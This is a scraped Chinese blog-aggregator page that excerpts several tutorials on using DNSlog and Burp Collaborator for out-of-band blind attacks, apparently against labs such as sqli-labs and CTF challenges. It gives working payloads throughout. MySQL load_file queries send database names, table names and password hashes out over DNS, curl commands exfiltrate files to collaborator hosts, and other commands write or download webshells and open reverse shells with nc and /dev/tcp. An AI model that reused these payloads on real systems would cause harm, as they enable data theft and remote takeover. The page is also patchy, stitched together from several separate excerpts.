精华内容
下载资源
问答
  • dnslog
    2021-03-07 19:08:00

    题记

    首先祝大家新年快乐,过年给我最大的感觉就是几家欢喜几家愁,我们国家总量看似光鲜,可是平均下来也不多,小老百姓更不容易了,一般没有文化的百姓除了创业就是打工就是中间商赚差价,真是生活不易,加油,一起建设新中国。

    DNSlog我以前是通过看推文了解过,后来零组上架了这么个功能,想着试试,后来发现零组的好像还用不了,还是用别的平台吧,这是可以利用它进行快速盲注的工具,看完大佬们的文章复现完受益良多,get到一个新姿势。玩这个的原因之一也包括我最近在整理sql注入。

    靶场环境

    Sqli-less5:存在布尔盲注漏洞。

    皮卡丘靶场命令执行模块

    真实网站反射型xss

    DNSlog简介

    在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过这种方式把想获得的数据外带出来。

    DNS的全称是Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如www.baidu.com,网络上的DNS Server会将该域名解析,并找到对应的真实IP如127.0.0.1,使用户可以访问这台服务器上相应的服务。

    了解到了什么是DNS,那么什么又是DNSlog呢?

    DNSlog就是存储在DNS Server上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

    原理:我注册了一个为a.com的域名,我将他a记录泛解析到10.0.0.0上,这样就实现了无论我记录值填什么他都有解析,并且都指向10.0.0.0,当我向dns服务器发起test.a.com的解析请求时,DNSlog中会记录下他给test.a.com解析,解析值为10.0.0.0。(通俗来讲就是我们申请一个dnslog的平台,当我们盲注的时候把想要的数据和平台给的地址拼接起来,dnslog平台就会把请求的记录显示出来。)

    常用在哪些情况下:

    1、SQL注入中的盲注

    2、无回显的命令执行

    3、无回显的SSRF

    用到的函数

    DNSlog进行注入需要用到load_file()函数,为什么要用load_file函数呢?因为load_file函数可以解析dns请求。

    数据库中使用此payload:select load_file('\\\\SQL注入查询语句.a.com')

    有些地方用Hex编码,编码目的就是减少干扰,因为很多数据库字段的值可能是有特殊符号的,这些特殊符号拼接在域名里是无法做dns查询的,因为域名是有一定的规范,有些特殊符号是不能带入的。

    注意:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。

    Sqli利用DNSlog进行布尔盲注

    1、打开DNSlog平台,申请一个域名。此时我们申请到h6xj05.dnslog.cn。

    2、打开布尔盲注靶场,http://192.168.1.132:86/Less-5/?id=1为正常页面。加上'报错,可能发现只返回真和假,于是利用DNSlog。

    注意这里的"\"表示转义,后面的ABC可以改成任何字母;sql语句在双引号内不执行,所以要用concat()函数拼接sql语句在双引号内不执行,所以要用concat()函数拼接。

    查询数据库名称

    第一条payload: ' and if((select load_file(concat('\\\\',(select database()),'.h6xj05.dnslog.cn\\aaa'))),1,1)--+

    当我们在浏览器输入payload的时候,页面返回正常且DNSlog收到数据库的记录。

    页面执行的语句在数据库中对应的语句为select * from users where id='1' and if((select load_file(concat('\\\\',(select database()),'.h6xj05.dnslog.cn\\aaa'))),1,1)-- ' LIMIT 0,1

    查表名

    首先我们看数据库中表名:

    查第一个表的名字:' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.h6xj05.dnslog.cn\\aaa'))),1,1)--+

    查第二个表的名字:' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.h6xj05.dnslog.cn\\aaa'))),1,1)--+

    查字段名

    ?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 1,1),'.h6xj05.dnslog.cn\\aaa'))),1,1)--+

    如果查别的字段修改limit后面的值即可。

    做的过程不小心把dnslog刷新了,可以后面域名有所变化,原理是相通的,不影响理解。

    查想要的值

    查找users表中password字段的第一个值:?id=1' and if((select load_file(concat('\\\\',(select hex(password) from users limit 0,1),'.licayh.dnslog.cn\\aaa'))),1,1)--+

    查找users表中password字段的第二个值:?id=1' and if((select load_file(concat('\\\\',(select hex(password) from users limit 1,1),'.licayh.dnslog.cn\\aaa'))),1,1)--+

    Hex解密

    可以看到解得

    分别对应的数据库中数据。

    其他无回显注入

    命令注入

    适用于无回显的命令注入点

    使用皮卡丘靶场的命令注入模块实验

    假设该注入点无回显

    查询到了我们输入的变量

    %os%.licayh.dnslog.cn

    windows常用变量://变量 类型 描述//%ALLUSERSPROFILE% 本地 返回"所有用户"配置文件的位置。//%APPDATA%    本地 返回默认情况下应用程序存储数据的位置。//%CD% 本地 返回当前目录字符串。//%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。//%CMDEXTVERSION% 系统 返回当前的"命令处理程序扩展"的版本号。//%COMPUTERNAME% 系统 返回计算机的名称。//%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。//%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。//%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。//%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在"本地用户和组"中指定的。//%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在"本地用户和组"中指定的。//%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在"本地用户和组"中指定的。//%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。//%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。//%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。//%PATH% 系统 指定可执行文件的搜索路径。//%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。//%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。//%PROCESSOR_IDENTFIER% 系统 返回处理器说明。//%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。//%PROCESSOR_REVISION% 系统 返回处理器的版本号。//%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。//%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。//%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。//%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。//%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。//%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。//%USERDOMAIN% 本地 返回包含用户帐户的域的名称。//%USERNAME% 本地 返回当前登录的用户的名称。//%USERPROFILE% 本地 返回当前用户的配置文件的位置。//%WINDIR% 系统 返回操作系统目录的位置。

    xss盲打

    找一个有反射型xss的网站

    注入点插入:aaa

    收到请求说明触发了插入的js代码

    sqlmap使用dns

    sqlmap可以使用--dns-domain参数实现自动化dns注入

    参考链接

    渗透测试中dns log的使用(很不错的一篇原理解析文):http://cnblogs.com/rnss/p/11320305.html

    一篇文章理解DNSlog的妙用:http://mp.weixin.qq.com/s/MFKs80OcUdtUKmBO6WBcQA

    Dnslog在SQL注入中的实战(各种数据库全了,有需要可看此处复习):http://anquanke.com/post/id/98096

    更多相关内容
  • DNSLog-平台-Golang相信DNSLog平台已经是安全从业者的标配。而公开的DNSLOG平台域名早已进入流量监控设备的规则库。同时也有重大问题值得关注。于是撸了(凑了)一个一键建造Dnslog平台的golang版本。可以使用其一键...
  • 平台使用Java编写,提供DNSLOG,HTTPLOG等功能,辅助渗透测试过程中无回显漏洞及SSRF等漏洞的验证和利用。 主要功能 DNSLOG HTTPLOG 自定义DNS解析 DNS Rebinding 自定义HTTP Response(Response内容、状态码、Header...
  • DNSlog

    千次阅读 2021-08-08 17:09:29
    什么是DNSlog DNSlog就是存储在DNS Server上的域名信息,它记录着用户对域名的访问信息,类似日志文件。 原理 payload放到目标网址(也就是dnslog的域名)的子域名处,让存在漏洞的地方去解析,由于解析了域名,发起...

    什么是DNSlog

    DNSlog就是存储在DNS Server上的域名信息,它记录着用户对域名的访问信息,类似日志文件。

    原理

    payload放到目标网址(也就是dnslog的域名)的子域名处,让存在漏洞的地方去解析,由于解析了域名,发起DNS请求,DNS在解析的时候会留下日志,这些日志会反弹到dnslog的平台上,通过读取这些解析的日志,来获取信息。

    使用方法

    通过Burp Suite

    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述

    通过在线平台

    http://www.dnslog.cn/
    在这里插入图片描述
    http://ceye.io/

    利用场景

    执行命令时没有回显的;sql、xss、ssrf、xxe、命令执行

    sql注入

    布尔盲注、时间盲注,需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban,所以在MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对URL发起请求。

    SELECT LOAD_FILE(CONCAT('\\\\',(要查询的语句),'.xx.xx.xx'));
    

    xss

    浏览器访问预设至的链接地址,如果DNSLog平台收到的DNS查询,即可证明存在XSS

    <img src=http://xss.xxxx.ceye.io>
    
    http://xss/level1.php?name=%3Cimg%20src=http://389spnjjms0is0cyzxu5cfa5gwmpae.burpcollaborator.net%3E
    

    在这里插入图片描述

    命令执行

    有的命令执行的漏洞并没有回显,我们不能确定漏洞是否存在,也不知道我们输入的命令是否被执行,这种情况我们可以利用DNSLOG来获取命令的执行结果。

    ping 系统变量名.地址
    ping %USERNAME%.dn424xyt12fs7ar8e79frppfv611pq.burpcollaborator.net
    

    Windows变量名
    在这里插入图片描述

    在这里插入图片描述

    SSRF

    直接将ssrf中地址换成我们的dnslog平台

    ?url=er938y2u53jtbbv9i8dgvqtgz757tw.burpcollaborator.net/flag.php
    

    在这里插入图片描述

    XXE

    使用参数实体,引用外部实体文件(目的地址是我们DNS服务器),二级或三级域名写成我们想要的信息,不加其他信息测试存在XXE。

    <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://%USERNAME%.pnge49y51ef47mrkej9rr1prvi1hp6.burpcollaborator.net/">%remote;]>
    

    在这里插入图片描述

    展开全文
  • 捕获所有 DNS 流量并将其文本表示(以压缩形式)存储到/var/log/dnslog/<date>.log.gz 。 创建用于网络取证目的。 $ zcat /var/log/dnslog/2018-07-12.log.gz | head 00:00:00.001595 R A 192.168.107.168 192....
  • 简介DNSLog-GO是一种golang编写的监控DNS解析记录的工具,自带WEB接口安装详细图文教程: : 1.获取发行版这里下载最新发行版,并解压2.域名与公网IP准备搭建并使用 DNSLog,你需要拥有两个域名,一个域名作为 NS ...
  • dnslog server

    2022-09-08 11:31:29
    dnslog server
  • dnslog盲打学习

    千次阅读 2022-02-26 19:49:27
    在渗透或者ctf中,我们可能会遇到一些没有回显的漏洞,这个时候可以通过dnslog来判断存不存在漏洞,并且得到漏洞执行的结果。 什么是dnslog dns是在我们输入一个域名如A.com时,会通过DNS把域名解析为ip,靠着dns...

    前言

    在渗透或者ctf中,我们可能会遇到一些没有回显的漏洞,这个时候可以通过dnslog来判断存不存在漏洞,并且得到漏洞执行的结果。

    什么是Dnslog

    dns是在我们输入一个域名如A.com时,会通过DNS把域名解析为ip,靠着dns解析到真正的ip地址127.0.0.1,这样子才能访问127.0.0.1服务器上的相应服务。


    那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

    可以通过这篇文章好好理解一下dns的解析过程域名分级与域名解析过程(DNS)_Andy Tools-CSDN博客_域名服务器分级

    Dnslog的原理

    当我们访问某个站点如www.cloudcrowd.com.cn时,dns的解析过程如图:

    其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。

    Dnslog工具

    可以自己搭一个dnslog,但是我比较懒,会直接使用在线的平台。

    http://www.dnslog.cn

    http://ceye.io

    SQL盲注回显

    不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\\www.test.com这样的URL发起请求。

    利用条件

    当前站点为root权限,因为一般情况下root才能使用load_file

    secure_file_priv为空

    当前站点的服务器为windows

    为什么要求当前站点服务器为windows呢?这里就涉及到Windows的一个东西——UNC路径 

    UNC路径

    UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
    \\abc.xxx\test

    因为load_file要通过UNC路径来向域名发起请求带出数据,而linux服务器没有这个东西,所以才有这个限制。

    利用方式

    借别人的图先来看一下在mysql的基本用法,直接在mysql执行:

    select load_file('\\\\requests.xxxx.ceye.io\\aa');

    需要用4个\的原因是,要对\进行转义,每一个\转义一个\,所以就有了四个\。

    查看dnslog

     这是最基本的用法,看下在盲注的实战中的用法:

    payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,0)--+

    利用concat()函数将查询的数据库名和域名拼接,执行后查看DNSlog

    可以看到库名已经被带出。

    无回显的XSS       

    直接把payload放到可能存在xss的地方,再查看dnslog平台

    <img src=http://hf8r67.dnslog.cn>

    <script src=http://XSS.XXXXX.ceye.io></script>

    SSRF

    无回显的命令执行

    在不确定是否存在命令执行的漏洞时,可以通过ping、curl命令结合dnslog来判断。

    linux系统:

    ping `whoami`.xx.xeye.io

    curl `whoami`.xx.xeye.io

    ``是shell_exec的符号表示,根据语法会先执行whoami这个命令,并将`whoami`替换为结果,再执行整个的curl命令。

    windows系统:

    ping %USERNAME%.xx.ceye.io

    curl %USERNAME%.xx.ceye.io

    利用方法

    一、执行命令

    利用条件:

    需要站点目录具有写的权限

    利用现成的环境,如ctfshow命令执行web42,假设这是一个没有回显的命令执行,先看一下利用方式。

    因为直接传c=ls的话,后面的会把结果给吞掉,所以得通过ls;1来执行两条命令,具体的话可以看一下我另一篇文章里面有详细说明。

    ctfshow 命令执行_..-CSDN博客

    1、利用>或>>

     在无回显且站点目录具有写的权限的情况下,可以将命令执行后的结果输出到文件中。

    ls>1.txt;1

    ls>>1.txt;1

     接着访问1.txt可以得到命令执行的结果

    接着可以直接cat flag.php>2.txt;1来得到flag。

    2、利用cp、mv命令

    可以利用复制和重命名命令来得到文件,但是这个有个弊端,就是不能通过这个来这个目录下的文件名。

    cp flag.php flag.txt

    mv flag.php flag.txt

    3、利用tar、zip命令

    #将flag.php打包

    tar cvf flag.tar flag.php

    #将flag.php打包并压缩

    tar zcvf flag.tar.gz flag.php

    #将flag.php压缩成flag.zip

    zip flag.zip flag.php

    二、写webshell(直接写入或者外部下载webshell)

    1、直接写webshell

    利用条件:

    当前站点目录具有写入权限

    echo '<?php eval($_POST[1]);?>' >webshell.php

    #  Jzw/cGhwIGV2YWwoJF9QT1NUWzFdKTs/Pic= 等于'<?php eval($_POST[1]);?>'

    echo Jzw/cGhwIGV2YWwoJF9QT1NUWzFdKTs/Pic= |base64 -d >webshell.php

    后面这个payload的效果是下图,虽然在shell.php里面的一句话木马有单引号,但是不影响php代码执行。

    如果是直接对<?php eval($_POST[1]);?>进行base64编码,那么解码后写到webshell.php会少一段代码,导致无法成功写shell,像下面这样。

    2、外部下载webshell

    利用条件:

    目标服务器能连接外网,且能执行wget命令

    利用方式:

    wget 服务器ip/1.txt -O webshell.php

    上面那个payload解释一下,通过wget下载服务器上的1.txt到当前目录下,wget xxx -O是重命名1.txt为webshell.php,如果是不用-O的话是直接下载到当前目录下。所以得先在服务器的1.txt文件中写好一句话木马,下载后重命名后就是我们的webshell。

    这里注意!!!

    如果直接准备一个含有一句话木马的php,“ wget 服务器ip/1.php”  命令执行后,下载1.php到当前目录,当前目录的1.php里面是不会有任何内容的。因为如果下载的是php文件,下载的东西只会是这个php文件执行的结果。这里存放一句话木马执行的php文件执行结果为空,所以下载到当前目录的1.php文件是空的。

    来做个实验验证一下吧,我在服务器的1.php里面写 <?php echo 520;?>,通过上面的结论可以得到下载到当前目录的1.php里面是执行结果,就是520。

     这里我已经通过蚁剑连接后门了,回到存在命令执行的地方再执行一下下载命令:wget 服务器ip/1.php。 

    直接来蚁剑查看结果,发现确实是这样,就是你后面通过-O来重命名,结果也是一样的。

    三、带出数据

    测试环境为:ctfshow命令执行42

    利用条件:

    需要目标服务器可以向公网发起http请求

    1、带出数据到vps上

    先在服务器上构造一个接收脚本ls.php

    <?php

    $data =$_GET['data'];

    $f = fopen("flag.txt", "w");

    fwrite($f,$data); fclose($f);

    ?>

    再构造payload,在漏洞处执行

    curl http://服务器ip/ls.php?data=`cat flag.php|base64`

    wget http://服务器ip/ls.php?data=`cat flag.php|base64`

    不对得到的结果进行base64编码可能带不出数据,得到数据后会在同一目录下生成flag.txt。这种方式的弊端是带出的数据是有限的,我们看一下正常的flag文件。

    再看一下经过base64解码后的数据,明显发现少了很多,所以说这种方式带出的数据有限。 

    2、带出数据到dnslog平台

    直接在命令执行处打payload就行了

    curl `ls|base64`.xxx.xeye.io

    curl xxx.xeye.io/`ls|base64`

    curl `cat flag.php`.xxx.xeye.io

    curl xx.xeye.io/`cat flag.php|base64`

    下面是对各种payload的解释,以及各种坑。

    这是flag.php的内容,挺多的。

    第一种payload:

    curl `ls`.xxx.xeye.io

    这种方式得到的ls结果是只有第一个文件名,因为ls获取的结果为1.php 2.php这种,文件名与文件名间会有空格,结果变成curl 1.php 2.php.xx.xeye.io,导致只能带出2.php,下面是结果展示图。

    这个时候加个base64编码就可以带出大部分结果了,因为curl带出数据有限,在文件比较多的情况下,还是不能带出所有文件。 

    第二种payload

    curl xxx.xeye.io/`ls` 

    这个时候如果不加base64编码,命令执行后就变成 curl xxx.xeye.io/1.php 2.php,这个时候只能带出第一个文件名。

    同样的得加个base64编码获取大部分结果。

    第三种payload:

    curl `cat flag.php`.xxx.xeye.io

    这种payload得到的结果不全,也是获得后面连在一起的结果而已。

    这种情况你加个base64编码的话,是执行不了的,经过测试具体原因是因为base64编码后,flag.php里面数据太多导致curl直接摆烂,连一部分都不传了。

    第四种payload:

    curl xx.xeye.io/`cat flag.php|base64`

    这种情况就很神奇,在flag.php文件字节比较多情况下,直接cat flag.php不加base64编码是不会执行的,curl也直接摆烂,md直接不传了。

    但是我通过一直写文件,堆了很多文件在当前目录下,来看看有多少。

     我直接curl xx.xeye.io/`ls`还是可以得到第一个文件的,没摆烂,确实有点不解。可能ls和cat的返回形式不一样吧..................

    3、带数据到burpsuit软件

    上传到服务器、带到dnslog都有一定的弊端,而且可能会玄学......带到burpsuit软件里面,功能更稳定,只能说上面两种有的它都有,没有的也有,bp可以直接带出文件全内容。

    在这里打开Burp Collaborator client

    然后点击复制地址

    利用方式: 

    curl -X POST -F aa=`ls|base64` cfvdunp5l66qvcpzrvduwbueh5n1bq.burpcollaborator.net

    curl -X POST -F aa=@flag.php cfvdunp5l66qvcpzrvduwbueh5n1bq.burpcollaborator.net

    解释一下payload:

    -X POST是为http数据包指定POST方法

    -F 是以带文件的形式发送POST请求

    aa是上传文件的name值,可以随便改,flag.php是要上传的文件

    flag.php前面的@是文件标识符,代表上传的是个文件,如果去掉了,在bp响应中看到的只是flag.php这个名字而已,而不是flag.php的内容

    其中@可以将其去掉,结合`ls|base64`同样可以上传命令执行返回的结果

    参考一下这篇curl学习的博客理解吧学习笔记之 curl 命令用法详解 - Leone- - 博客园 

    最后来看一下效果,这是第一个payload的返回结果,要点一下Poll now才会刷新,直接点http的就是了。

     这是第二个payload的执行结果,可以看到flag.php的所有内容都返回了。

     

    四、反弹shell

    1、正向弹shell

    利用条件:

    要求目标服务器有nc、bash命令,同时得知道目标服务器的ip

    利用方式:
    在命令执行处

    nc -lvvp 8888 -e /bin/bash

    在自己的服务器上

    nc 目标服务器ip 8888

    2、反向弹shell

    利用条件:
    要求目标服务器有bash命令,nc命令的话得看你用的payload需不需要

    在自己服务器上监听8888端口

    nc -lvnp 8888

    在system类命令执行处

    nc -e /bin/bash 服务器ip 8888

    bash -i >& /dev/tcp/服务器ip/8888 0>&1
    echo bash -i >& /dev/tcp/服务器ip/8888 0>&1 | bash

    第一个payload因为没有&可以直接执行,第二三个payload因为里面有&这个符号,在php中有特殊含义,所以得对payload进行url全编码,再放到命令执行处执行.......也可以直接对&这个进行编码

    参考文章

    https://xz.aliyun.com/t/8125#toc-2

    使用DNSLOG拯救你的盲打盲注 - FreeBuf网络安全行业门户

    DNSlog注入学习 - Lushun - 博客园 (cnblogs.com)

    使用DNSLog进行盲打 - xinZa1

    域名分级与域名解析过程(DNS)_Andy Tools-CSDN博客_域名服务器分级

    反弹Shell小结 - 竹小冉 - 博客园

    展开全文
  • dnslog盲注

    2021-07-14 21:01:35
    dnslog盲注dnslog注入原理DNSlog工具什么情况下使用dnslog注入?Mysql DNSlog原理图DNSlog盲注利用条件DNSlog盲注操作方式实战演练查询当前数据库名:查询当前数据库的第一个表名:查询第users表一个列名:查询users...

    dnslog注入原理

    通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录
    此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

    DNSlog工具

    如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:
    https://github.com/BugScanTeam/DNSLog
    另外我们也可以使用在线平台:
    http://ceye.io
    http://www.dnslog.cn

    什么情况下使用dnslog注入?

    大家在渗透测试的时候可能会遇到一下这些情况:
    (1)挖到一个有SQL盲注的站点,可是用sqlmap跑需要频繁请求,最后导致ip被ban
    (2)发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞
    总之就是目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNSlog来获取回显
    (1)SQL注入中的盲注
    (2)XSS盲打
    (3)无回显的命令执行
    (4)无回显的SSRF
    (5)无回显的XXE(Blind XXE)

    Mysql DNSlog原理图

    在这里插入图片描述

    DNSlog盲注利用条件

    mysql.ini中secure_file_priv必须为空
    (1)当secure_file_priv为null,不允许导入导出
    (2)当secure_file_priv为/tmp导入导出只能在/tmp目录下。
    (3)当secure_file_priv为空,则不作限制允许导入导出(注意NULL不是我们要的空,NULL和空的类型不一样)

    DNSlog盲注操作方式

    Payload1:
    下面展示一些 内联代码片

    ?Id=1’and load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\sql'))--+
    

    相应的更换 select database()查询语句便可以实现DNS外带的回显注入,其中1ilizz.dnslog.cn为ceye.io平台给每个账号的昵称
    查询当前数据库:

    and load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\sql'))--+
    

    //xtftm5.ceye.io根据ceye平台给你的域名更改,\sql是域名目录,随意即可,select database()换成sql注入payload即可
    查询表名:

    and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security'limit 0,1),'.c4d3hg.ceye.io\\sql'))--+
    

    查询列名:

    and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.c4d3hg.ceye.io\\sql'))--+
    

    查询数据:

    and load_file(concat('\\\\',(select username from users limit 0,1),'.c4d3hg.ceye.io\\sql'))--+
    

    Payload2:

    and (select load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\aaa')))#
    

    原理跟上面差不多

    实战演练

    Sqllab的第9关
    这里就要借用一个平台:http://ceye.io
    在这里插入图片描述

    查询当前数据库名:

    http://127.0.0.1/sqllab/Less-9/?id=1' and load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\sql'))--+
    

    在这里插入图片描述
    回显数据
    在这里插入图片描述

    查询当前数据库的第一个表名:

    http://127.0.0.1/sqllab/Less-9/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security'limit 0,1),'.c4d3hg.ceye.io\\sql'))--+
    

    在这里插入图片描述
    可以看到这里成返回了第一个表的名字
    依次类推可以推出users表

    查询第users表一个列名:

    http://127.0.0.1/sqllab/Less-9/?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.c4d3hg.ceye.io\\sql'))--+
    

    在这里插入图片描述

    查询users表的username列的数据:

    http://127.0.0.1/sqllab/Less-9/?id=1' and load_file(concat('\\\\',(select username from users limit 0,1),'.c4d3hg.ceye.io\\sql'))--+
    

    在这里插入图片描述

    需要注意的点:

    1.查询当前用户时,因为结果中有@符号,使用dnslog注入时,需要使用hex函数进行转码,再将查询到的hex转码后的数据解码即可,如下:

    如果使用group_concat函数进行快读查询,也同样需要hex转码,利用如下:

    http://127.0.0.1/sqllab/Less-9/?id=1'and load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema='security'),'.c4d3hg.ceye.io\\sql'))--+
    

    在这里插入图片描述
    在这里插入图片描述查询到的是hex编码的结果
    在这里插入图片描述

    展开全文
  • 快速搭建自用dnslog

    千次阅读 2022-04-21 10:19:41
    快速搭建自用dnslog 前言 dnslog是常见的辅助验证漏洞的手段,为什么要自建dnslog? 第三方dnslog在一些特殊时期会受到一股神秘力量影响变得不稳定甚至不能用 有些业务或者信息不方便使用第三方平台 常见的dnslog...
  • DNS与DNSLog

    2022-05-09 15:22:54
    这里写目录标题DNS简介解析过程DNSLog简介ceye的使用DNSLog注入SQL盲注 DNS 简介 DNS(Domain Name System),也就是域名系统。将域名与IP地址相互映射的一个分布式数据库。DNS使用UDP端口53。 域名解析的过程就是将...
  • dnslog

    2020-04-07 10:03:13
  • DNSLog使用

    2021-12-29 16:51:32
    DNSLog基本使用
  • DNSlog外带

    千次阅读 2022-02-28 20:24:45
    减轻盲注的复杂操作,运用DNSlog外带来进行操作
  • dnslog小技巧

    2021-01-27 13:43:14
    一、dnslog利用场景主要针对无回显的情况。Sql-BlindRCESSRFRFI(Remote File Inclusion)二、原理将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns...
  • DNSLog注入

    千次阅读 2022-01-13 14:30:49
    在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。...
  • 有一个简便无危害的方式,就是通过dnslog来判断。 大佬们讨论的issue 说明 前面我们在分析的时候,会发现很多有一个变量token在进行判断,比如token == 12 或者 token == 14等,那这个token到底代表啥呢?在...
  • DNSLog原理及代码实现

    2022-08-04 10:57:04
    自实现DNSLog服务器的意义及作用: 一些公共DNSLog服务可能已进入防火墙黑名单。不依赖他人服务器,增加可靠性。 结合自己的漏洞扫描工具,更定制化修改和部署DNSLog API。达到更高的效率。 附加实现DNS重绑定攻击...
  • DNSlog介绍

    万次阅读 多人点赞 2021-07-09 21:43:56
    0x00 DNSlog 介绍 首先我们知道DNS是起ip与域名的解析的服务,通过ip可以解析到对应的域名。DNSlog就是储存在DNS上的域名相关的信息,它记录着你对域名或者IP的访问信息,也就是类似于日志文件, 0x01 DNSlog回显...
  • DNSlog平台的搭建

    千次阅读 2022-07-12 04:12:20
    从0到1搭建DNSlog平台,最后拓展了实现自动化运行DNSlog平台
  • SQL DNSlog注入详解

    2022-07-26 14:56:57
    今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL DNSlog注入。 一、SQL DNSlog注入简介 二、SQL DNSlog注入实战
  • SQL注入之搭建dnslog

    2022-08-05 11:00:24
    文章目录 利用DNSlog进行注入 原理 前置条件 secure_file_priv 远程共享文件 本地dnslog测试 centos8上搭建DNS服务 通过sqlmap进行dns注入 公网dnslog搭建 利用DNSlog进行注入 原理 利用DNS解析记录,如果在指定dns...
  • 1)打开BurpSuite,第一步选择“Projectoptions”,第二步选择“Misc”,第三步选择...这两个平台,他们是免费的DNSlog平台,我们利用它们可以监控DNS解析记录和HTTP访问记录,这对我们验证一些漏洞非常有帮助。...
  • 本文主要讲述Dnslog这种攻击手法在SQL注入中的实战运用,虽然网上对于Dnslog在SQL注入方面运用的文章也不少。但是很多文章都只是片面的提到了这个攻击方式,或者只是用某个简单的payload做了简单的验证。然而在实际...
  • 使用dnslog测试时,相同语句第二次执行就不请求dnslog了,不知道是不是因为在控制台用一个会话执行的原因,ceye到没有这个问题。 注意点: dns服务器无法接收符号,当查询的数据存在符号时需要编码,这里用==hex()=...
  • DNSlog注入
  • 学习一下DNSlog注入

    千次阅读 2022-01-09 16:09:24
    DNSlog是什么? ①DNSlog是DNS解析服务器生成的一种日志 ②我们访问一个web网站时,就会先被DNS解析成ip 然后这台DNS服务器的就会生成一个日志,会记录被解析 网站的域名,ip,被访问时间 如:访问www.xx.com DNSlog...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,616
精华内容 1,046
关键字:

dnslog

友情链接: TMD2.05.zip